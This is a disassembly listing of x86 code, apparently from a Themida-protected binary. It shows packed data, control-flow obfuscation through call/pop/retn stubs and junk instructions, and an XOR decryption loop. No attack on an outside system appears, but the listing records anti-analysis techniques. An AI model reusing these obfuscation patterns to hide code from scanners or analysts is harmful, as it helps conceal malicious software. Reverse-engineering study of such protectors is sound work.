		dd 6AA9B7Ch, 858DD0FFh,	6A843ABh, 85C7D0FFh, 6A81599h
		dd 1, 3469A58Bh, 0B58B06A8h, 6A832BDh, 225DAD8Bh, 0C03306A8h
		dd 60000CC2h, 23D2D080h, 0A8340585h, 8F0F6106h,	2, 0BD83C1B7h
		dd 6A81BFDh, 10840F00h,	0BA000000h, 493F2183h, 1B4D95FFh
		dd 816606A8h, 839124C2h, 0A81FE5BDh, 850F0006h,	1BCh, 8369EE80h
		dd 0A8339DBDh, 850F0106h, 1ACh,	93D958Bh, 0BD8306A8h, 6A8162Dh
		dd 99840F00h, 0F000001h, 0BD83DBB7h, 6A84FA1h, 89840F00h
		dd 81000001h, 94F3ADCAh, 7C858D47h, 6606AA9Bh, 8B55B9BBh
		dd 0A84F4EB5h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 9796D125h, 0F2C38166h
		dd 6AD0FF54h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 3C6CC353h, 6DCE6A5Fh, 840F131Ah
		dd 2, 85C6FD8Ah, 6A815D5h, 0D6BF0F54h, 0A23FB468h, 0E85250E4h
		dd 0Dh,	0B4FE0463h, 462A6C97h, 6EBA3CD9h, 0CE9DAh, 0A2AD0000h
		dd 26E484CFh, 40AA2950h, 0F5A2974h, 8832BB31h, 585A6F07h
		dd 40240481h, 6A1AAC7Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 5EC4C353h, 2D31D8BAh
		dd 0E98E6DFAh, 0Bh, 6AFBC1A9h, 0D4A3E132h, 66A58629h, 7B59C281h
		dd 31F9B5FFh, 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0AA9200C3h, 0BA16A8DBh, 1E2D958Bh
		dd 858D06A8h, 6A83AC3h,	19E19531h, 0D0FF06A8h, 3191958Bh
		dd 6A06A8h, 68E0Fh, 958B0000h, 6A820E1h, 8D89FF6Ah, 6A817F9h
		dd 1B34F0BAh, 80D0FF60h, 0B5FF84C7h, 6A830BDh, 0FE8h, 77191C00h
		dd 67AF1647h, 0D0BFF893h, 0A76ABEDBh, 0CE9h, 0B3B0D300h
		dd 986F29DFh, 7FD7CE34h, 95FF5B80h, 6A80081h, 0BE9h, 0A2B8000h
		dd 267DACA7h, 9400E2DFh, 4F4EB58Bh, 13E906A8h, 0FA000000h
		dd 1E008CD0h, 4E49E0A7h, 0CFF130E3h, 12217CDDh,	80C35492h
		dd 8C0F78DEh, 5, 87CB8166h, 19B58B58h, 8006A80Dh, 0F60B5BEAh
		dd 3D840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 5EBB1CC3h, 258A1867h, 0E5BB24D2h
		dd 0C635EE8Fh, 0E2800006h, 9D896047h, 6A82165h,	999531h
		dd 896106A8h, 0A84F5685h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 520F86A3h
		dd 978CD528h, 0DE95814h, 0FE000000h, 77B20230h,	7F8ACA36h
		dd 13C4339Dh, 1FE1958Bh, 0F88306A8h, 4D840F00h,	0E8000003h
		dd 0Ch,	4CF07563h, 257305B9h, 0E0204261h, 2F359D8Bh, 0B85B06A8h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_550BEF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550BEF	proc near		; CODE XREF: Themida_:00550BE7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_550BEF	endp

; ---------------------------------------------------------------------------
		db 0AAh
		dd 8E934h, 0E1250000h, 966C438Ch, 0F8839A44h, 0C0840F00h
		dd 80000000h, 0F8839DDBh, 61850F02h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8D7AC355h, 0A845D185h, 810F5106h, 2,	2D5BD68Bh, 929h
		dd 0CE19D8Bh, 665006A8h, 489D88Bh, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BBC3B6DCh
		dd 3083827Ah, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 958995E5h, 6A802B1h, 263E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 83CE28D5h, 0DBD898Eh, 0B806A811h, 1, 4810Fh
		dd 51600000h, 0BD8D615Eh, 6A845D6h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 21C35545h, 2179184Ch, 65310065h
		dd 0CF19D8Bh, 0D9E906A8h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0CF9EC352h
		dd 0AD4039A0h, 8B571085h, 0A82D7995h, 2F88306h,	22850Fh
		dd 85890000h, 6A82CADh,	47CEBD8Dh, 9D8B06A8h, 6A806CDh
		dd 0E9D2B70Fh, 8Ch, 8D8946B7h, 6A82C79h, 0F03F883h, 2085h
		dd 49958B00h, 8D06A827h, 0A84962BDh, 60506006h,	0EE805E61h
		dd 61E961ABh, 8B000000h, 0A800399Dh, 5F88306h, 52850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0F4DE18C3h, 968ACBAEh, 0F5958BBAh, 0E906A829h
		dd 0BFh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0E8C35646h, 805F722Bh, 0BB5B6ABAh, 254CB957h, 6A2F40h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 9189E2C3h, 90CDD929h, 3F83C59Eh, 68840F00h, 8B000000h
		dd 0A82E4195h, 890F3006h, 0A83191BDh, 8D858906h, 0D106A817h
		dd 53006AC9h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0CA8113FEh, 4F592CC1h, 56006A47h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 68400E4Dh, 0F30216Ah, 0FF94E95Ch, 8053FFFFh,	835BDFF7h
		dd 850F05F8h, 7Ch, 0E0EA8166h, 0D98C6677h, 10E9h, 0F4FD1000h
		dd 0B8881287h, 2C4FF843h, 50D47C1Ah, 4C1F697h, 42850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 201C93C3h, 2BCDE2FAh, 0FC3C71A1h,	34F19D8Bh
		dd 0B806A8h, 8B000000h,	0A831D99Dh, 1AE906h, 9D0B0000h
		dd 6A814B5h, 1995858Bh,	958906A8h, 6A82CDDh, 8589E0FFh
		dd 6A83345h
; ---------------------------------------------------------------------------


loc_550F14:				; CODE XREF: Themida_:00550400j
		cmp	dword ptr [ebp+6A80081h], 0
		jnz	loc_551041
		push	0
		push	edx
		call	sub_550F2C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550F2C	proc near		; CODE XREF: Themida_:00550F24p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_550F2C	endp

; ---------------------------------------------------------------------------
		dd 397A66F9h, 8A9379BAh, 9D8B57AEh, 6A80B29h, 0BFBA505Ah
		dd 894A34FBh, 8B662404h, 0D585C6D8h, 4506A815h,	32BA6660h
		dd 0C0BF0F5Ch, 4E861h, 69690000h, 10E98E72h, 38000000h
		dd 736E458Ah, 3B5FD3C4h, 9BDEE982h, 5016BC14h, 2890Fh
		dd 2FB60000h, 424448Bh,	13E8h, 65B8BA00h, 10584CE1h, 0FE05F200h
		dd 0E6D53ACBh, 14D4E07Ch, 0E8008B5Ah, 7, 897C0528h, 50FF35BBh
		dd 850F52h, 0F000000h, 0F525031h, 5A585A31h, 44895A58h
		dd 8B660424h, 860F58D8h, 3, 0FFD88B66h,	0A831F9B5h, 859D8B06h
		dd 8D06A81Dh, 0A83AC385h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8956C167h
		dd 0A8100985h, 0D0FF5B06h, 0FEDABA66h, 818589h,	11E906A8h
		dd 0AB000000h, 5DEA1FE4h, 0D27D8018h, 71F4976Ch, 5D557219h
		dd 2840F58h, 8B000000h
; ---------------------------------------------------------------------------
		setalc


loc_551041:				; CODE XREF: Themida_:00550F1Bj
		cmp	dword ptr [ebp+6A84FA5h], 0
		jz	loc_55107D
		movsx	ebx, di
		push	dword ptr [ebp+6A830BDh]
		call	sub_55106B
		retn
; ---------------------------------------------------------------------------
		db 43h,	95h, 4Ch
		dd 62E2212Ch, 1C2FDC16h
		db 0FCh, 21h, 92h

; =============== S U B	R O U T	I N E =======================================



sub_55106B	proc near		; CODE XREF: Themida_:00551057p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005511AC SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0055126D SIZE 00000010 BYTES

		and	edx, [ebp+6A80BEDh]
		pop	edx
		call	dword ptr [ebp+6A80081h]
		mov	edx, 44FBC38h


loc_55107D:				; CODE XREF: Themida_:00551048j
		cmp	eax, 0
		jnz	loc_5511AC
		push	0
		push	esi
		call	sub_551091
		and	[esi-3Dh], bl
sub_55106B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_551091	proc near		; CODE XREF: sub_55106B+1Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_551091	endp

; ---------------------------------------------------------------------------
		db 83h,	1, 0DBh
		dd 69C60D59h, 1890F28h,	0F9000000h, 0F850Fh, 0AE90000h
		dd 36000000h, 1B69EBA8h, 0FF0CE72Bh, 8DBD83BCh,	6A819h
		dd 8A840Fh, 0F38A0000h,	2EDDBD89h, 0B5FF06A8h, 6A8198Dh
		dd 9E9FEB7h, 0A5000000h, 3AF8680Eh, 0CAE478C4h,	1B8h, 0DAB70F00h
		dd 0C88B6660h, 178F0Fh,	11E80000h, 20000000h, 2C30881Ah
		dd 584D4805h, 2925AB6Bh, 7775915h, 0FBE9615Eh, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 5A7FC357h, 0E3E1F264h, 54EECEEDh,	11E950h
		dd 755B0000h, 65AC4F78h, 0B4A270EDh, 0B45E97Bh,	5A8E3C2Dh
		dd 30BDB5FFh, 0B70F06A8h, 0BDB5FFDAh, 8A06A830h, 81B5FFF0h
		dd 6A06A800h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0B37DC351h, 3609B3FAh,	8166F8E4h
		dd 0BB92FDAh, 0A80FC19Dh, 174E906h, 0D3810000h,	20F45597h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55106B


loc_5511AC:				; CODE XREF: sub_55106B+15j
		pop	edi
		mov	ebx, [ebp+6A83019h]
		cmp	dword ptr [ebp+6A8142Dh], 0
		jnz	loc_55126D
		mov	edx, 3736DC90h
		mov	byte ptr [ebp+6A815D5h], 4Dh
		mov	[ebp+6A829B1h],	edi
		push	67CF28A4h
		pusha
		mov	si, 8043h
		push	ebx
		mov	ax, 0D366h
		pop	ecx
		popa
		add	[esp+4+var_4], 3C664E04h
		push	esi
		sub	[ebp+6A829E1h],	eax
		pop	edx
		push	dword ptr [ebp+6A80D2Dh]
		push	0
		push	eax
		call	sub_551203
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_55106B

; =============== S U B	R O U T	I N E =======================================



sub_551203	proc near		; CODE XREF: sub_55106B+190p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_551203	endp

; ---------------------------------------------------------------------------
		db 16h
		dd 0CE5C9941h, 0E9523B8Fh, 7, 77CA353Ch, 8D841F3Eh, 0A83AC385h
		dd 5933BB06h, 0D0FF320Ch, 95895660h, 6A82D09h, 0FA8A605Ah
		dd 840Fh, 61610000h, 142D8589h,	6A06A8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0EAF73FC3h
		db 0E5h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55106B


loc_55126D:				; CODE XREF: sub_55106B+14Fj
		mov	eax, 0
		push	0
		push	ecx
		call	sub_55127D
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_55106B

; =============== S U B	R O U T	I N E =======================================



sub_55127D	proc near		; CODE XREF: sub_55106B+20Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_55127D	endp

; ---------------------------------------------------------------------------
		xor	eax, 0BB66F5DBh
		mov	ecx, 4EBD8903h
		dec	edi
		test	al, 6
		pusha
		jnz	loc_5512A7
		mov	[ebp+6A81A39h],	ecx


loc_5512A7:				; CODE XREF: Themida_:0055129Bj
		push	ebx
		or	eax, 141F7C2Bh
		pop	edx
		popa
		sub	bx, 3029h
		or	eax, eax
		jz	loc_5512D4
		xor	[ebp+6A81A51h],	esi
		jmp	loc_55131A
; ---------------------------------------------------------------------------
		mov	[ebp+6A82181h],	eax
		or	ebx, 45A469Dh


loc_5512D4:				; CODE XREF: Themida_:005512B7j
		push	dword ptr [ebp+6A80081h]
		call	sub_5512E6
; ---------------------------------------------------------------------------
		db 8Fh
		dd 3FEFEF1Fh
		db 33h,	6Eh

; =============== S U B	R O U T	I N E =======================================



sub_5512E6	proc near		; CODE XREF: Themida_:005512DAp
		mov	dx, bx
		pop	edx
		lea	eax, [ebp+6AA9B7Ch]
		mov	bx, 0BF45h
		nop
		mov	ebx, 2DC21DE3h


loc_5512FA:				; CODE XREF: sub_5512E6+26j
		push	eax
		push	ecx
		jmp	loc_551310
; ---------------------------------------------------------------------------
		db 0Eh,	0E7h, 0B9h
; ---------------------------------------------------------------------------
		fisubr	word ptr [ebx]
		fcomp	st
		aas
		and	ch, [edx+13h]
		jg	short loc_5512FA
		sbb	al, 4Bh


loc_551310:				; CODE XREF: sub_5512E6+16j
		pop	ebx
		nop
		push	edi
		mov	ebx, [ebp+6A8095Dh]
		pop	ebx


loc_55131A:				; CODE XREF: Themida_:005512C3j
		push	eax
		push	esi
		lea	edi, [ebp+6A8566Ch]
		lea	ecx, [ebp+6A87922h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_55132F:				; CODE XREF: sub_5512E6+4Fj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_55132F
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+6A8198Dh], 0
		jz	short loc_551348
		mov	ecx, [ebp+6A80C81h]


loc_551348:				; CODE XREF: sub_5512E6+5Aj
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_5513FF
		cmp	dword ptr [ebp+6A82541h], 0
		jz	short loc_551366
		call	dword ptr [ebp+6A81ADDh]


loc_551366:				; CODE XREF: sub_5512E6+78j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_551378
		cmp	dword ptr [ebp+6A84F56h], 1
		jz	short loc_551381


loc_551378:				; CODE XREF: sub_5512E6+87j
		cmp	dword ptr [ebp+6A84F56h], 2
		jnz	short loc_55138F


loc_551381:				; CODE XREF: sub_5512E6+90j
		mov	esi, [ebp+6A84F4Eh]
		lea	eax, [ebp+6AA9B7Ch]
		call	eax


loc_55138F:				; CODE XREF: sub_5512E6+99j
		cmp	dword ptr [ebp+6A81BFDh], 0
		jz	short loc_55139E
		call	dword ptr [ebp+6A81B4Dh]


loc_55139E:				; CODE XREF: sub_5512E6+B0j
		lea	eax, [ebp+6A843ABh]
		call	eax
		cmp	dword ptr [ebp+6A80E35h], 2
		jnz	short loc_5513DE
		mov	esp, [ebp+6A83469h]
		mov	eax, [ebp+6A8198Dh]
		mov	[esp+0], eax
		mov	dword ptr [ebp+6A81599h], 1
		mov	esi, [ebp+6A84F52h]
		mov	ebp, [ebp+6A8225Dh]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_5513DE:				; CODE XREF: sub_5512E6+C7j
		mov	dword ptr [ebp+6A81599h], 1
		mov	esp, [ebp+6A83469h]
		mov	esi, [ebp+6A832BDh]
		mov	ebp, [ebp+6A8225Dh]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5513FF:				; CODE XREF: sub_5512E6+6Bj
		cmp	dword ptr [ebp+6A81BFDh], 0
		jz	short loc_551417
		cmp	dword ptr [ebp+6A81B4Dh], 0
		jz	short loc_551417
		call	dword ptr [ebp+6A81B4Dh]


loc_551417:				; CODE XREF: sub_5512E6+120j
					; sub_5512E6+129j
		mov	esi, [ebp+6A84F4Eh]
		retn
sub_5512E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jl	loc_55142A
		and	edx, [ebp+6A83529h]


loc_55142A:				; CODE XREF: Themida_:0055141Ej
		and	ebx, [ebp+6A80659h]
		push	0
		push	ebp
		call	sub_55143B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55143B	proc near		; CODE XREF: Themida_:00551433p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_55143B	endp

; ---------------------------------------------------------------------------
		mov	dl, 0A9h
		mov	ch, 8Bh
		shr	byte ptr [ebx],	1
		shr	byte ptr [edx+0], cl
		push	edx
		call	sub_55145D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55145D	proc near		; CODE XREF: Themida_:00551455p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_55145D	endp

; ---------------------------------------------------------------------------
		adc	ecx, ebp
		mov	dh, bh
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_551481
; ---------------------------------------------------------------------------


loc_55147F:				; CODE XREF: Themida_:00551484j
		inc	eax
		inc	edi


loc_551481:				; CODE XREF: Themida_:0055147Dj
		cmp	byte ptr [edi],	0
		jnz	short loc_55147F
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5514B0
; ---------------------------------------------------------------------------


loc_55148D:				; CODE XREF: Themida_:005514B2j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5514A5
; ---------------------------------------------------------------------------


loc_5514A2:				; CODE XREF: Themida_:005514A8j
		mul	ebx
		dec	esi


loc_5514A5:				; CODE XREF: Themida_:005514A0j
		cmp	esi, 0
		ja	short loc_5514A2
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5514B0:				; CODE XREF: Themida_:0055148Bj
		or	eax, eax
		jnz	short loc_55148D
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		mov	[ebp+6A81FDDh],	ebx
		call	sub_5514CE
		xchg	ebx, [esi+1Bh]
		cmpsb
		retn

; =============== S U B	R O U T	I N E =======================================



sub_5514CE	proc near		; CODE XREF: Themida_:005514C4p
		jge	loc_5514DA
		mov	[ebp+6A83495h],	eax


loc_5514DA:				; CODE XREF: sub_5514CEj
		pop	ebx
		jl	loc_5514E7
		mov	edx, [ebp+6A80F25h]
sub_5514CE	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_54DC11


loc_5514E7:				; CODE XREF: sub_54DC11:loc_54E9B6j
					; sub_5514CE+Dj
		mov	eax, ecx
		jmp	loc_572C5A
; END OF FUNCTION CHUNK	FOR sub_54DC11
; ---------------------------------------------------------------------------
		dw 0FF6Ch
		dd 3F0012h, 84DD025Ch, 5Ch, 280000h, 6A60025Ch,	84DD005Ch
		dd 202005Ch, 20000h, 10000h, 20000h, 9A0D0000h,	0F9ACh
		dd 4 dup(0)
		dd 23430000h, 3FC30055h, 58B70055h, 1C3C0055h, 5EB00055h
		dd 0B8870055h, 91250055h, 8DC20055h, 0ADD10055h, 9BE40055h
		dd 53C20055h, 0C4D20055h, 814F0055h, 0AC010055h, 0A7C20055h
		dd 84940055h, 18C90055h, 7ACF0055h, 0CC3D0055h,	32970055h
		dd 0B28F0055h, 9C770055h, 9EFE0055h, 52100055h,	0A49C0055h
		dd 0C1590055h, 0CFC60055h, 47830055h, 4D190055h, 0C3D80055h
		dd 0AE270055h, 3E6D0055h, 5A0B0055h, 3FF60055h,	1FBD0055h
		dd 3E9B0055h, 58BF0055h, 0C9100055h, 55930055h,	0C44D0055h
		dd 3B070055h, 42AF0055h, 1E3D0055h, 0C5A30055h,	0A2140055h
		dd 484C0055h, 1B4C0055h, 9C880055h, 77750055h, 19E70055h
		dd 29E10055h, 6B640055h, 6CA00055h, 0B5830055h,	3F150055h
		dd 6AB70055h, 895D0055h, 2E4B0055h, 2F740055h, 21C80055h
		dd 2AC60055h, 33560055h, 5E6E0055h, 0C9770055h,	6AFA0055h
		dd 0D8A00055h, 54D50055h, 0D4040055h, 67000055h, 391B0055h
		dd 58520055h, 43F40055h, 6D540055h, 8F350055h, 25CE0055h
		dd 0BAC30055h, 0B26C0055h, 784A0055h, 8D870055h, 257B0055h
		dd 34E20055h, 9DCB0055h, 2D320055h, 0D6A60055h,	82800055h
		dd 0CFB60055h, 470B0055h, 62E40055h, 66190055h,	0AA120055h
		dd 3C170055h, 3C440055h, 0BA6E0055h, 81610055h,	53110055h
		dd 55C60055h, 87A90055h, 59980055h, 5DDE0055h, 4F5E0055h
		dd 0B70B0055h, 0CBA00055h, 0C6920055h, 2F0C0055h, 587C0055h
		dd 31E50055h, 1B720055h, 71760055h, 56C70055h, 36060055h
		dd 0C3980055h, 21FB0055h, 0DC570055h, 31210055h, 0D5140055h
		dd 0AD940055h, 73E90055h, 0D65A0055h, 1E370055h, 22380055h
		dd 0CC2A0055h, 37BE0055h, 9AB70055h, 858F0055h,	48E50055h
		dd 0D1840055h, 1C4A0055h, 0A13E0055h, 0B82F0055h, 85AF0055h
		dd 612D0055h, 0CD060055h, 57FB0055h, 36600055h,	3A420055h
		dd 93820055h, 29AF0055h, 0A47C0055h, 0B4780055h, 0A4030055h
		dd 677E0055h, 92040055h, 0DC3E0055h, 0B3610055h, 86620055h
		dd 8CEC0055h, 723F0055h, 30C00055h, 79AD0055h, 853E0055h
		dd 3F410055h, 19F60055h, 85120055h, 81C80055h, 1AFF0055h
		dd 58E70055h, 0C9980055h, 570B0055h, 0B4E50055h, 843D0055h
		dd 33CF0055h, 58930055h, 42280055h, 4A4D0055h, 503F0055h
		dd 0B7AF0055h, 6DF80055h
		db 55h,	0
; ---------------------------------------------------------------------------


loc_5517CE:				; CODE XREF: Themida_:00573536j
					; Themida_:0057D146j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6A87DC9h
		mov	eax, edi
		add	edi, 6A87AE1h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5517EC
		jmp	short loc_5517FF
; ---------------------------------------------------------------------------


loc_5517EC:				; CODE XREF: Themida_:005517E8j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5517FB
; ---------------------------------------------------------------------------


loc_5517F6:				; CODE XREF: Themida_:005517FDj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5517FB:				; CODE XREF: Themida_:005517F4j
		or	ecx, ecx
		jnz	short loc_5517F6


loc_5517FF:				; CODE XREF: Themida_:005517EAj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55180C:				; CODE XREF: Themida_:00551813j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55180C


loc_551815:				; CODE XREF: Themida_:0055191Ej
					; Themida_:loc_55197Cj	...
		lodsb
		xor	al, bl
		push	dx
		jmp	loc_55CC57
; ---------------------------------------------------------------------------


loc_55181F:				; CODE XREF: Themida_:005578C0j
		or	ebx, 52C703Dh
		push	edi
		mov	edi, 7DC77D94h
		sub	edi, 0FFFFFFFFh
		shl	edi, 5
		xor	edi, 0F5369C60h
		sub	ebx, edi
		pop	edi
		jmp	loc_552424
; ---------------------------------------------------------------------------


loc_55183F:				; CODE XREF: Themida_:0055BC3Cj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	edx
		jmp	loc_558DF4
; ---------------------------------------------------------------------------


loc_55184F:				; CODE XREF: Themida_:0055A31Bj
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4C1116D3h
		xor	[esp+4], eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5568A1
; ---------------------------------------------------------------------------


loc_551888:				; CODE XREF: Themida_:00559EADj
		mov	eax, 420A341Ah
		sub	edx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55BFC6
; ---------------------------------------------------------------------------


loc_551898:				; CODE XREF: Themida_:0055CCAFj
		add	ecx, 6B891C75h
		jmp	loc_551DC3
; ---------------------------------------------------------------------------


loc_5518A3:				; CODE XREF: Themida_:00554074j
		mov	eax, 26502D15h
		add	eax, 0D9AFD2EFh
		jmp	loc_552279
; ---------------------------------------------------------------------------


loc_5518B2:				; CODE XREF: Themida_:00552A94j
		add	ebp, ebx
		sub	ebp, 539F1999h
		mov	ebx, [esp]
		jmp	loc_553D74
; ---------------------------------------------------------------------------


loc_5518C2:				; CODE XREF: Themida_:005575A1j
		pop	ecx
		dec	ebx
		jmp	loc_5578B9
; ---------------------------------------------------------------------------
		push	19F1h
		mov	[esp], ebx
		jmp	loc_559D03
; ---------------------------------------------------------------------------


loc_5518D6:				; CODE XREF: Themida_:005529AAj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_55C1F0
; ---------------------------------------------------------------------------


loc_5518EB:				; CODE XREF: Themida_:00554706j
		mov	esi, 2ECA7C8Fh
		push	eax
		mov	eax, 56DD7E32h
		sub	esi, eax
		pop	eax
		jmp	loc_5577BB
; ---------------------------------------------------------------------------


loc_5518FE:				; CODE XREF: Themida_:0055B2C9j
		push	cx
		mov	cl, 0F0h
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ch, 77h
		jmp	loc_556F91
; ---------------------------------------------------------------------------


loc_551913:				; CODE XREF: Themida_:0055C951j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_551923:				; CODE XREF: Themida_:0055A92Aj
		or	al, 0DBh
		add	al, 0FDh
		and	bh, al
		pop	eax
		and	bh, 0AFh
		shl	bh, 4
		add	bh, 20h
		sub	dh, bh
		pop	ebx
		add	al, dh
		jmp	loc_552CA2
; ---------------------------------------------------------------------------


loc_55193D:				; CODE XREF: Themida_:005544B4j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_55879B
; ---------------------------------------------------------------------------


loc_55194B:				; CODE XREF: Themida_:005535A6j
		mov	[esp], ebx
		push	ax
		jmp	loc_55A428
; ---------------------------------------------------------------------------


loc_551955:				; CODE XREF: Themida_:0055BFADj
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2
		add	esi, ebx
		jmp	loc_552357
; ---------------------------------------------------------------------------


loc_55196E:				; CODE XREF: Themida_:0055CC72j
		pop	esp
		jmp	loc_5533C7
; ---------------------------------------------------------------------------


loc_551974:				; CODE XREF: Themida_:00557009j
		xor	edx, [esp]
		jmp	loc_55B7BD
; ---------------------------------------------------------------------------


loc_55197C:				; CODE XREF: Themida_:005558DCj
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_551981:				; CODE XREF: Themida_:00552C14j
		xchg	edi, [esp]
		pop	esp
		and	eax, edi
		jmp	loc_553258
; ---------------------------------------------------------------------------


loc_55198C:				; CODE XREF: Themida_:0055DCB2j
		add	ecx, 4
		jmp	loc_555299
; ---------------------------------------------------------------------------


loc_551997:				; CODE XREF: Themida_:0055B2E1j
		mov	esp, [esp]
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_55C8AB
; ---------------------------------------------------------------------------


loc_5519AC:				; CODE XREF: Themida_:00552C6Cj
		mov	ch, 68h
		push	ebx
		jmp	loc_556003
; ---------------------------------------------------------------------------


loc_5519B4:				; CODE XREF: Themida_:0055C124j
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		push	ebx
		mov	ebx, 17533079h
		sub	[esp+8], ebx
		pop	ebx
		add	[esp+4], ebx
		push	esi
		mov	esi, 17533079h
		add	[esp+8], esi
		mov	esi, [esp]
